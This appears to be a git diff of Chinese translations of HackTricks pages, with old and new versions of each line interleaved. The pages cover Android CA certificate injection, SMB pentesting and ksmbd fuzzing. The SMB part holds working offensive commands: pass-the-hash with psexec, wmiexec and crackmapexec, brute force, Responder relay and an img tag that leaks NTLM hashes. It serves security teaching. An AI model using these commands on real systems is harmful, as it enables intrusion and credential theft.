不过,对于需要修改 **`/apex`** 目录中系统信任 CA 证书的情况,存在一种变通方法。该方法涉及手动重新挂载 **`/apex`** 以移除 PRIVATE propagation从而使其可写。具体流程包括将 **`/apex/com.android.conscrypt`** 的内容复制到其他位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读限制,然后将内容恢复**`/apex`** 中的原始位置。该方法需要快速操作以避免系统崩溃。为确保这些更改在系统范围内生效,建议重启 `system_server`,这将有效重启所有应用并使系统恢复一致状态。
尽管如此,仍然存在一种变通方法,适用于需要修改 **`/apex`** 目录下系统受信任 CA 证书的情况。该方法涉及手动重新挂载 **`/apex`** 以移除 PRIVATE 传播,从而使其可写。该过程包括将 **`/apex/com.android.conscrypt`** 的内容复制到另一位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读限制,然后将内容恢复**`/apex`** 的原位置。该方法需要快速执行以避免系统崩溃。为了确保这些更改在系统范围内生效,建议重启 `system_server`,这会有效地重启所有应用并使系统回到一致状态。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -131,24 +131,26 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
### 通过 NSEnter 进行 Bind-mounting
### Bind-mounting 通过 NSEnter
1. **设置可写目录**:最初,通过在现有的非-APEX 系统证书目录上方挂载 `tmpfs` 来建立一个可写目录。通过以下命令实现:
1. **设置可写目录**:最初,通过在现有的 non-APEX 系统证书目录上挂载 `tmpfs` 来建立一个可写目录。 这可以通过以下命令实现:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Preparing CA Certificates**: 在设置可写目录之后,应将打算使用的 CA 证书复制到该目录。 这可能涉及`/apex/com.android.conscrypt/cacerts/` 复制默认证书。 必须相应地调整这些证书的权限和 SELinux 标签。
3. **Bind Mounting for Zygote**: 使用 `nsenter` 进入 Zygote 的 mount namespace。Zygote 是负责启动 Android 应用的进程,需要这一步以确保此后启动的所有应用都会使用新配置的 CA 证书。 使用的命令为:
2. **准备 CA 证书**: 在可写目录设置完成后,需将要使用的 CA 证书复制到该目录中。这可能包括`/apex/com.android.conscrypt/cacerts/` 复制默认证书。必须相应地调整这些证书的权限和 SELinux 标签。
3. **为 Zygote 进行绑定挂载**: 使用 `nsenter` 进入 Zygote 的挂载命名空间。Zygote 是负责启动 Android 应用的进程,必须执行此步骤以确保此后启动的所有应用都使用新配置的 CA 证书。使用的命令为:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
4. **将更改应用于正在运行的应用程序**: 要将更改应用到已运行的应用程序,使用 `nsenter` 再次单独进入每个应用的命名空间并执行类似的 bind mount。所需的命令是
这可确保每个新启动的应用都会遵循已更新的 CA 证书设置。
4. **将更改应用于正在运行的应用**:要将这些更改应用到已在运行的应用上,仍然使用 `nsenter` 单独进入每个应用的命名空间,并执行类似的 bind mount。所需的命令为
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternative Approach - Soft Reboot**: 另一种方法是在 `init` 进程PID 1上执行 bind mount然后通过 `stop && start` 命令对操作系统进行 soft reboot。该方法会将更改传播到所有 namespaces避免逐个处理每个正在运行的 app。不过由于需要重启通常不太推荐。
5. **Alternative Approach - Soft Reboot**: 一种替代方法是在 `init` 进程 (PID 1) 上执行 bind mount然后通过 `stop && start` 命令对操作系统进行软重启。该方法会将更改传播到所有命名空间,从而无需逐一处理每个正在运行的应用。但由于重启带来的不便,这种方法通常不太推荐。
## References
## 参考资料
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)

View File

@ -4,61 +4,60 @@
## **端口 139**
_**网络基础输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使位于局域网 (LAN) 内的应用程序、PC 和桌面能够与网络硬件交互,并**促进数据在网络中的传输**。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,通常与计算机名不同。当一个应用程序(作为客户端)向另一个应用程序(作为服务器)发出“调用”命令并使用 **TCP 端口 139** 时,两个应用程序之间的 NetBIOS 会话就会启动
The _**Network Basic Input Output System**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 中的应用程序、PC 和台式机能够与网络硬件交互,并**促进网络上的数据传输**。运行在 NetBIOS 网络上的软件应用的标识和位置是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,且通常与计算机名不同。当一个应用(作为客户端)发出命令去“调用”另一个应用(作为服务器),并使用 **TCP Port 139** 时,会在两个应用之间建立 NetBIOS 会话
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## 端口 445
从技术上讲,端口 139 被称为 NBT over IP而端口 445 识为 SMB over IP。缩写 **SMB** 代表 **Server Message Blocks**’,也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于在网络节点之间实现对文件、打印机、串口的共享访问,并促进各种形式的通信。
从技术上讲,端口 139 被称为 NBT over IP而端口 445 被识SMB over IP。缩写 **SMB** 代表 **Server Message Blocks**在现代也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种通信。
例如,在 Windows 环境中,可以直接通过端口 445 在 TCP/IP 上运行 SMB从而无需通过 NetBIOS over TCP/IP。相反在其他系统上则可能使用端口 139这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。
例如,在 Windows 环境中,强调 SMB 可以直接在 TCP/IP 上运行,通过使用端口 445从而无需 NetBIOS over TCP/IP。相反在其他系统上会使用端口 139这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Server Message Block (SMB) 协议采用客户端-服务器模型旨在管理对文件、目录以及诸如打印机和路由器等网络资源的访问。SMB 主要用于 Windows 操作系统系列,并保持向后兼容,允许运行较新 Microsoft 操作系统的设备与运行较旧版本的设备无缝交互。此外Samba 项目提供了一个免费软件实现,使得在 Linux 和 Unix 系统上实现 SMB 成为可能,从而促进通过 SMB 的跨平台通信。
**Server Message Block (SMB)** 协议采用 **client-server** 模型,旨在规范对 **access to files**、目录以及打印机和路由器等其他网络资源的访问。SMB 主要用于 **Windows** 操作系统系列,保证向后兼容,使运行较新微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个自由软件实现,使 SMB 能在 **Linux** 和 Unix 系统上运行,从而实现通过 SMB 的跨平台通信。
Shares 表示本地文件系统的任意部分,可以由 SMB 服务器提供,使得对客户端可见的层次结构在一定程度上独立于服务器的实际结构。访问控制列表 (ACLs) 定义了访问权限,允许对用户权限进行细粒度控制,包括诸如 `execute``read``full access` 之类的属性。这些权限可以根据 shares 分配给单个用户或组,并且与服务器上设置的本地权限是分离的
Shares,表示 **arbitrary parts of the local file system**,可以由 SMB 服务器提供,使客户端可见的层级在某种程度上**独立**于服务器的实际结构。**Access Control Lists (ACLs)** 定义了 **access rights**,允许对用户权限进行**fine-grained control**,包括诸如 **`execute`**、**`read`** 和 **`full access`** 等属性。这些权限可以基于 shares 分配给单个用户或组,并且与服务器上设置的本地权限不同
### IPC$ 共享
### IPC$ Share
可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过命名管道暴露的服务进行交互。实用工具 `enum4linux` 对此非常有用。正确使用时,它可以获取:
可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过 named pipes 暴露的服务进行交互。工具 `enum4linux` 对此非常有用。正确使用时,它可以获取:
- 操作系统信息
- 有关操作系统信息
- 父域的详细信息
- 本地用户和组的汇总
- 可用 SMB shares 的信息
- 有关可用 SMB 共享的信息
- 有效的系统安全策略
此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全状况至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必不可少的。
此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必的。
```bash
enum4linux -a target_ip
```
上面的命令示例说明如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整的枚举
上面的命令是一个示例说明如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整 enumeration
## 什么是 NTLM
如果你不了解 NTLM或者想知道它如何工作以及如何滥用它你会觉得这篇关于 **NTLM** 的页面非常有趣,页面解释了 **该协议如何工作以及如何利用它:**
如果你不知道什么是 NTLM或想了解它如何工作以及如何滥用它你会发现这页关于 **NTLM** 的内容非常有趣,里面解释了 **该协议如何工作以及如何利用它:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **服务器枚举**
## **服务器 Enumeration**
### **Scan** 在网络中搜索主机:
### **Scan** 扫描网络以搜索主机:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB 服务器版本
要查找针对 SMB 版本的潜在漏洞,重要的是要知道正在使用的版本。如果其他工具未显示此信息,你可以:
要查找针对 SMB 的可能漏洞,需要先知道正在使用的 SMB 版本。如果其他工具未显示该信息,可以:
- 使用 **MSF** 辅助模块 `**auxiliary/scanner/smb/smb_version**`
- 或者这个脚本:
- 使用 **MSF** 的 auxiliary 模块 `**auxiliary/scanner/smb/smb_version**`
- 或使用此脚本:
```bash
#!/bin/sh
#Author: rewardone
@ -80,9 +79,9 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **可能** 凭证
### **可能** 凭证
| **用户名** | **常见密码** |
| **用户名** | **Common passwords** |
| -------------------- | ----------------------------------------- |
| _(空)_ | _(空)_ |
| guest | _(空)_ |
@ -120,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### 枚举用户、组已登录用户
### 枚举用户、组已登录用户
这些信息应该已经由 enum4linux 和 enum4linux-ng 收集
这些信息应该已经从 enum4linux 和 enum4linux-ng 收集到
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -171,7 +170,7 @@ rpcclient-enumeration.md
### 列出共享文件夹
建议始终检查是否可以访问任何资源;如果你没有 credentials请尝试使用 **null** **credentials/guest user**
建议始终检查是否可以访问任何内容;如果没有 credentials请尝试使用 **null** **credentials/guest user**
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,9 +196,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **手动枚举 Windows 共享并连接到它们**
### **手动枚举 windows 共享并连接到它们**
目标主机可能限制了显示其共享,当你尝试列出它们时看起来似乎没有任何可连接的共享。因此值得花点时间尝试手动连接某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时留意诸如 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 之类的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。
有可能你被限制无法显示主机的任何共享,当你尝试列出它们时,看起来似乎没有可连接的共享。因此值得短暂地尝试手动连接到某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时寻找类似 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。
Common share names for windows targets are
@ -212,7 +211,7 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
(常见共享名来自 _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
你可以使用以下命令尝试连接它们
```bash
@ -260,14 +259,14 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC 管理单元(图形界面)
MMC Snap-in(图形界面)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (图形界面),在地址栏输入 `\\<ip>\` 查看可用的非隐藏共享。
explorer.exe(图形界面),输入 `\\<ip>\` 查看可用的非隐藏共享。
### 挂载共享文件夹
```bash
@ -276,7 +275,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **下载文件**
阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 建立连接。
阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 进行连接。
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -294,13 +293,13 @@ smbclient //<IP>/<share>
Commands:
- mask: 指定用于过滤目录中文件的掩码(例如 "" 表示所有文件)
- recurse: 切换是否递归默认off
- prompt: 切换是否提示文件名默认on
- recurse: 切换递归默认off
- prompt: 切换是否关闭文件名提示默认on
- mget: 将所有与掩码匹配的文件从主机复制到客户端机器
(_信息来自 smbclient 的手册页_)
(_信息来自 smbclient 的 manpage_)
### Domain Shared Folders Search
### 域共享文件夹搜索
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@ -312,42 +311,42 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
从共享中特别值得关注的是名为 **`Registry.xml`** 的文件,因为它们**可能包含密码**,这些密码属于通过 **Group Policy** 配置为 **autologon** 的用户。或者 **`web.config`** 文件,因为它们包含凭证
在共享目录中特别有价值的文件是 **`Registry.xml`**,因为它们 **可能包含 passwords**,用于通过 **autologon** 配置并通过 **Group Policy** 应用的用户。或者 **`web.config`** 文件,因为它们包含凭据
> [!TIP]
> **SYSVOL share** 对域内所有经过身份验证的用户都是**可读的**。在其中你可能会**发现**许多不同的 batch、VBScript 和 PowerShell **脚本**。\
> 你应该**检查**其中的**脚本**,因为你可能会**找到**诸如**密码**之类的敏感信息
> **SYSVOL share** 对域中的所有经过身份验证的用户都是 **可读的**。在那里你可能会 **找到** 许多不同的 batch、VBScript 和 PowerShell **scripts**。\
> 你应该 **检查** 其中的 **scripts**,因为你可能会 **找到** 敏感信息,例如 **passwords**
## 读取注册表
你可能能够使用一些已发现的凭据来**读取注册表**。Impacket **`reg.py`** 允许你尝试:
您可能可以使用发现的凭证**读取注册表**。Impacket **`reg.py`** 允许您尝试:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## 后渗透
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
一个 **Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,并可能包含一些 **危险配置**
| **设置** | **描述** |
| **设置** | **说明** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | 允许列出当前可用的共享 |
| `read only = no` | 禁止创建和修改文件 |
| `writable = yes` | 允许用户创建和修改文件 |
| `guest ok = yes` | 允许在不使用密码的情况下连接到服务 |
| `browseable = yes` | 是否允许列出当前共享中可用的共享? |
| `read only = no` | 是否禁止创建和修改文件? |
| `writable = yes` | 是否允许用户创建和修改文件? |
| `guest ok = yes` | 是否允许在不使用密码的情况下连接到服务? |
| `enable privileges = yes` | 是否遵循分配给特定 SID 的权限? |
| `create mask = 0777` | 新创建的文件应被赋予什么权限? |
| `directory mask = 0777` | 新创建的目录应被赋予什么权限? |
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
| `magic script = script.sh` | 当脚本关闭时应执行哪个脚本? |
| `magic output = script.out` | magic script 的输出需要存储在哪里? |
| `create mask = 0777` | 新创建的文件应被分配哪些权限? |
| `directory mask = 0777` | 新创建的目录应被分配哪些权限? |
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
| `magic script = script.sh` | 当脚本关闭时应执行哪个脚本? |
| `magic output = script.out` | magic 脚本的输出需要存储在哪里? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
## 使用 Kerberos 进行认证
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
你可以使用工具 **smbclient****rpcclient****Kerberos** 进行 **认证**
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -356,7 +355,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec 可以通过 **abusing** 任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec****默认** 方法。你可以使用参数 `--exec-method` 指定要使用的选项:
crackmapexec 可以通过利用任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec****default** 方法。你可以使用参数 `--exec-method` 指定要使用的选项:
```bash
apt-get install crackmapexec
@ -380,9 +379,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
两者都会 **创建一个新服务**(使用 _\pipe\svcctl_ 通过 SMB 在受害者机器上)并使用它来 **执行某些操作****psexec** 会 **上传** 可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe**将 payload 放入参数中 --**file-less technique-**-)。\
两者都会在受害者机器上(通过 SMB 使用 _\pipe\svcctl_**创建一个新服务**,并用它来**执行某些东西****psexec** 会**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe**在参数中放入 payload --**file-less technique-**-).\
**更多信息** 关于 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
**kali** 位于 /usr/share/doc/python3-impacket/examples/
**kali** 位于 /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -390,19 +389,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
使用 **参数**`-k` 可以使用 **kerberos** 进行认证,而不是 **NTLM**
使用 **parameter**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
通过 DCOM 使用 **port 135.**\ 隐蔽地执行命令 shell既不接触磁盘也不运行新的服务。
**kali** 上,它位于 /usr/share/doc/python3-impacket/examples/
通过 DCOM 经由 **port 135.** 隐蔽地执行命令 shell无需接触磁盘或运行新的服务。\
**kali** 位于 /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
使用 **参数**`-k` 可使用 **kerberos** 验证,而非 **NTLM**
使用 **参数**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证。
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -412,7 +411,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
通过任务计划程序执行命令(通过 SMB 使用 _\pipe\atsvc_)。\
**kali**位于 /usr/share/doc/python3-impacket/examples/
**kali** 中位于 /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -427,21 +426,21 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce 用户凭**
## **Bruteforce 用户凭**
**不建议这样做,如果超过允许的最大尝试次数,可能会导致账号被锁定**
**不建议这样做,如果超过允许的最大尝试次数,你可能会导致账户被锁定**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
This attack uses the Responder toolkit to **捕获 SMB 身份验证会话** on an internal network, and **中继** them to a **目标机器**. If the authentication **会话成功**, it will automatically drop you into a **系统** **shell**.\
此攻击使用 Responder toolkit 在内部网络上 **捕获 SMB 认证会话**,并将它们 **中继****target machine**。如果认证 **会话成功**,它会自动让你进入一个 **system** **shell**\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
当页面尝试通过 SMB 访问某些内容时(例如:`img src="\\10.10.10.10\path\image.jpg"`Windows 库 URLMon.dll 会自动尝试对主机进行身份验证。
This happens with the functions:
@ -460,7 +459,7 @@ Which are used by some browsers and tools (like Skype)
## NTLM Theft
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack).
类似于 SMB Trapping将恶意文件植入目标系统例如通过 SMB可以诱发 SMB 身份验证尝试,从而使用 Responder 等工具截获 NetNTLMv2 哈希。该哈希随后可以离线破解,或用于 [SMB relay attack](#smb-relay-attack)。
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -3,14 +3,14 @@
{{#include ../../banners/hacktricks-training.md}}
## Overview
本页抽象出使用 syzkaller 对 Linux 内核 SMB 服务器 (ksmbd) 进行驱动与模糊测试的实用技术。重通过配置扩展协议攻击面、构建能串联 SMB2 操作的有状态 harness、生成语法合法的 PDUs、将变异偏向覆盖较弱的代码路径以及利用 syzkaller 的特性(如 focus_areas 和 ANYBLOB。原始研究列举了具体 CVE处强调可复用的方法论和可适配到你自己环境的具体片段。
本页总结了使用 syzkaller 对 Linux 内核内置 SMB 服务器 (ksmbd) 进行驱动与模糊测试的实用技术。重点在于通过配置扩展协议攻击面、构建能串联 SMB2 操作的有状态 harness、生成语法有效的 PDU、将变异偏向弱覆盖的代码路径以及利用 syzkaller 的特性(如 focus_areas 和 ANYBLOB。虽然原始研究列举了具体 CVE处强调可复用的方法论和可适配到你自己环境的具体片段。
目标范围SMB2/SMB3 over TCP。Kerberos 和 RDMA 被故意排除以简化 harness
目标范围SMB2/SMB3 over TCP。Kerberos 和 RDMA 为了保持 harness 简单被刻意排除在外
---
## Expand ksmbd Attack Surface via Configuration
默认的最小 ksmbd 配置会使服务器的大部分功能未被测试。启用以下特性以驱动服务器进入更多解析器/处理器并到达更深的代码路径:
默认的最小 ksmbd 配置会让服务器的大量部分未被测试。启用下列特性以驱动服务器触发更多解析器/处理器并到达更深的代码路径:
- Global-level
- Durable handles
@ -20,7 +20,7 @@
- Oplocks (on by default)
- VFS objects
启用这些会增加以下模块的执行
启用这些会增加对如下模块的执行覆盖
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
@ -29,25 +29,25 @@
- vfs_cache.c (lookup cache)
Notes
- 精确选项取决于你发行版的 ksmbd userspace (ksmbd-tools)。查看 /etc/ksmbd/ksmbd.conf 以及每个 share 的配置区块以启用 durable handles、leases、oplocks 和 VFS objects。
- Multi-channel 与 durable handles 会改变状态机和生命周期,在并发条件下常常暴露 UAF/refcount/OOB 类错误。
- Exact options depend on your distros ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects.
- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency.
---
## Authentication and Rate-Limiting Adjustments for Fuzzing
SMB3 需要一个有效 session。 在 harness 中实现 Kerberos 会增加复杂性,因此模糊测试时优先使用 NTLM/guest
SMB3 需要一个有效会话。在 harness 中实现 Kerberos 会增加复杂性,因此模糊测试优先考虑 NTLM/guest
- 允许 guest 访问并将 map to guest 设为 bad user这样未知用户会回退到 GUEST。
- 接受 NTLMv2如果被禁用则打补丁。这能让握手更简单同时覆盖 SMB3 的代码路径。
- 在试验时可以去掉严格的 credit 检查post-hardening for CVE-2024-50285 使 simultaneous-op crediting 更严格)。否则,速率限制可能会过早拒绝模糊生成的序列。
- 增加 max connections例如到 65536以避免在高吞吐模糊测试时被过早拒绝。
- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths.
- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.
- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing.
注意:这些放宽仅用于便于模糊测试。不要在生产环境中使用这些设置。
Caution: These relaxations are to facilitate fuzzing only. Do not deploy with these settings in production.
---
## Stateful Harness: Extract Resources and Chain Requests
SMB 是有状态的:许多请求依赖于先前响应返回的标识符SessionId、TreeID、FileID 对)。你的 harness 必须解析响应并在同一程序内重用 ID到达更深的处理器(例如 smb2_create → smb2_ioctl → smb2_close
SMB 是有状态的许多请求依赖于先前响应返回的标识符SessionId、TreeID、FileID 对)。你的 harness 必须解析响应并在同一程序中重用这些 ID才能到达更深的处理器(例如 smb2_create → smb2_ioctl → smb2_close
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
```c
@ -76,15 +76,15 @@ break;
}
```
提示
- 保持单个 fuzzer 进程共享认证/状态:在 ksmbd 的 global/session tables 上可以获得更好的稳定性和覆盖率。syzkaller 仍然通过将 ops 标记为 async 并在内部重新运行来注入并发
- Syzkallers 实验性 reset_acc_state 可以重置 global state但可能会引入严重的性能下降。优先考虑稳定性并专注于 fuzzing。
- 保持一个 fuzzer 进程共享认证/状态:在 ksmbd 的 global/session tables 上能获得更好的稳定性和覆盖率。syzkaller 仍然通过将 ops 标记为 async 并在内部重新运行来注入 concurrency
- Syzkallers experimental reset_acc_state 可以重置 global state但可能会导致严重的性能下降。建议优先保证稳定性并专注于 fuzzing。
---
## 基于语法的 SMB2 生成(有效 PDUs
将 Microsoft Open Specifications 中的 SMB2 结构转换为 fuzzer grammar以使你的生成器产生结构上有效的 PDUs从而系统性地到达 dispatchers 和 IOCTL handlers。
## 基于语法的 SMB2 生成 (有效的 PDUs)
将 Microsoft Open Specifications 中的 SMB2 结构翻译成一个 fuzzer grammar使你的生成器能产生结构上有效的 PDUs从而系统性地到达 dispatchers 和 IOCTL handlers。
示例SMB2 IOCTL request
示例 (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
这种风格强制正确的结构大小/偏移,并且相对于盲目变异显著提高覆盖率。
这种方式强制正确的结构大小/偏移,并相较于盲目变异显著提升覆盖率。
---
## Directed Fuzzing With focus_areas
使用 syzkaller 的实验性 focus_areas 对当前覆盖较弱的特定函数/文件赋予更高权重。示例 JSON:
使用 syzkallers experimental focus_areas 来对当前覆盖率较弱的特定函数/文件增加权重。示例 JSON:
```json
{
"focus_areas": [
@ -122,9 +122,9 @@ Output array[int8]
]
}
```
这有助于构造有效的 ACLs从而触发 smbacl.c 中的 arithmetic/overflow 路径。例如,一个具有过大 dacloffset 的恶意 Security Descriptor 可以重现 integer-overflow。
这有助于构造有效的 ACLs从而触发 smbacl.c 中的 arithmetic/overflow 路径。例如,一个具有超大 dacloffset 的恶意 Security Descriptor 会重现 integer-overflow。
Reproducer builder (minimal Python):
复现生成器 (minimal Python):
```python
def build_sd():
import struct
@ -143,8 +143,8 @@ return bytes(sd)
```
---
## 使用 ANYBLOB 打破覆盖率瓶颈
syzkallers anyTypes (ANYBLOB/ANYRES) 允许将复杂结构折叠为可以通用变异的 blobs。 从公开的 SMB pcaps 中生成新的 corpus并将 payloads 转换为调用你 pseudo-syscall(例如 syz_ksmbd_send_req的 syzkaller 程序:
